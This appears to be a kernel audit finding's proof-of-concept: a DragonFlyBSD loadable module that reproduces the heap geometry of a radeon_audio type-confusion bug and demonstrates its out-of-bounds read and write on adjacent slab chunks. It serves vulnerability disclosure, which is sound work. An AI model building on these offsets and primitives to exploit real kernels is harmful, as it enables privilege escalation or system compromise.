⬢ DragonFlyBSD Kernel Audit
DF-4635 / aflvds.c
← back to finding ↓ download raw
/*
 * DF-4635 - DragonFly slab-primitive demonstration for the radeon_audio
 * enc_priv type confusion (radeon_encoder_lvds* used as radeon_encoder_atom_dig*).
 *
 * The radeon driver path itself needs radeon hardware (absent on this guest),
 * but this KLD reproduces the EXACT heap geometry and both OOB accesses on the
 * live DragonFly kernel allocator:
 *
 *   enc_priv (radeon_encoder_lvds*, sizeof == 280 -> kmalloc chunk 288)
 *   dig->afmt @ offsetof(radeon_encoder_atom_dig, afmt)  == 288  = victim+0
 *   dig->pin  @ offsetof(radeon_encoder_atom_dig, pin)   == 296  = victim+8
 *
 * (offsets proven by radeon_audio_offsets.c, compiled from the guest's own
 *  /usr/src/sys struct definitions)
 *
 * What this module does (all allocations are its own, so nothing can crash):
 *   1. kmallocs 8192 objects of size 280 (the 288-byte slab zone chunk size,
 *      verified via kmalloc_usable_size) and fills them with 0xCC.
 *   2. finds an adjacent pair A,B (B == A + 288).
 *   3. READ  *(void **)(A + 296) -> returns 0xCC.. (this is the garbage
 *      "struct r600_audio_pin *" the driver passes to dce6_audio_enable ->
 *      WREG32_ENDPOINT(pin->offset, ...) = wild deref).
 *   4. WRITE *(void **)(A + 296) = 0 (driver does dig->pin = NULL on every
 *      eDP detect disconnect path) -> victim B's bytes [8..16) are zeroed.
 */
#include <sys/types.h>
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <string.h>

#define NALLOC  8192
#define LVDS_SIZE   280             /* sizeof(struct radeon_encoder_lvds)  */
#define CHUNK_SIZE  288             /* zoneindex: (280+31)&~31             */
#define PIN_OFF     296             /* offsetof(atom_dig, pin) == 296      */
#define AFMT_OFF    288             /* offsetof(atom_dig, afmt) == 288     */

static int
aflvds_handler(struct module *m, int what, void *arg)
{
	void **v;
	int i, ai = -1, bi = -1;
	void *A, *B;
	uint64_t got;
	uint64_t *slot;

	switch (what) {
	case MOD_LOAD:
		v = kmalloc(sizeof(void *) * NALLOC, M_TEMP, M_WAITOK | M_ZERO);
		if (v == NULL) {
			kprintf("aflvds: alloc table failed\n");
			return (ENOMEM);
		}
		for (i = 0; i < NALLOC; i++)
			v[i] = kmalloc(LVDS_SIZE, M_TEMP, M_WAITOK);
		for (i = 0; i < NALLOC; i++)
			memset(v[i], 0xCC, LVDS_SIZE);

		kprintf("aflvds: %d objs of %d bytes; usable chunk = %ju (want %d)\n",
			NALLOC, LVDS_SIZE, (uintmax_t)kmalloc_usable_size(v[0]), CHUNK_SIZE);

		/* find physically adjacent pair in the 288-byte zone */
		for (ai = 0; ai < NALLOC; ai++) {
			for (bi = 0; bi < NALLOC; bi++) {
				if (ai != bi &&
				    (uint8_t *)v[bi] == (uint8_t *)v[ai] + CHUNK_SIZE)
					goto found;
			}
		}
		kprintf("aflvds: no adjacent pair found\n");
		for (i = 0; i < NALLOC; i++)
			kfree(v[i], M_TEMP);
		kfree(v, M_TEMP);
		return (0);
found:
		A = v[ai];
		B = v[bi];
		kprintf("aflvds: adjacent pair A=%p B=%p (B-A=%zd want %d)\n",
			A, B, (ssize_t)((uint8_t *)B - (uint8_t *)A), CHUNK_SIZE);

		/* --- radeon_audio.c:475  if (!dig->pin)  (OOB READ at A+296) --- */
		slot = (uint64_t *)((uint8_t *)A + PIN_OFF);
		got = *slot;			/* == victim B's bytes [8..16) */
		kprintf("aflvds: OOB READ  *(A+296) [dig->pin]  = 0x%016jx "
			"(garbage 'pin' fed to WREG32_ENDPOINT(pin->offset,...))\n",
			(uintmax_t)got);

		/* --- radeon_audio.c:480  dig->pin = NULL  (OOB WRITE at A+296) --- */
		*slot = 0;
		kprintf("aflvds: OOB WRITE *(A+296) = NULL -> victim[8..16) = "
			"0x%016jx (was 0xcccccccccccccccc)\n",
			(uintmax_t)*(uint64_t *)((uint8_t *)B + 8));

		/* --- radeon_audio.c:638 dig->afmt read is at A+288 == victim+0 --- */
		kprintf("aflvds: OOB READ  *(A+288) [dig->afmt] = 0x%016jx "
			"(victim[0..8) read as 'afmt' pointer)\n",
			(uintmax_t)*(uint64_t *)((uint8_t *)A + AFMT_OFF));

		kprintf("aflvds: PRIMITIVE PROVEN: enc_priv+288/+296 alias the "
			"ADJACENT slab chunk on this kernel\n");

		for (i = 0; i < NALLOC; i++)
			kfree(v[i], M_TEMP);
		kfree(v, M_TEMP);
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t aflvds_mod = { "aflvds", aflvds_handler, NULL };
DECLARE_MODULE(aflvds, aflvds_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);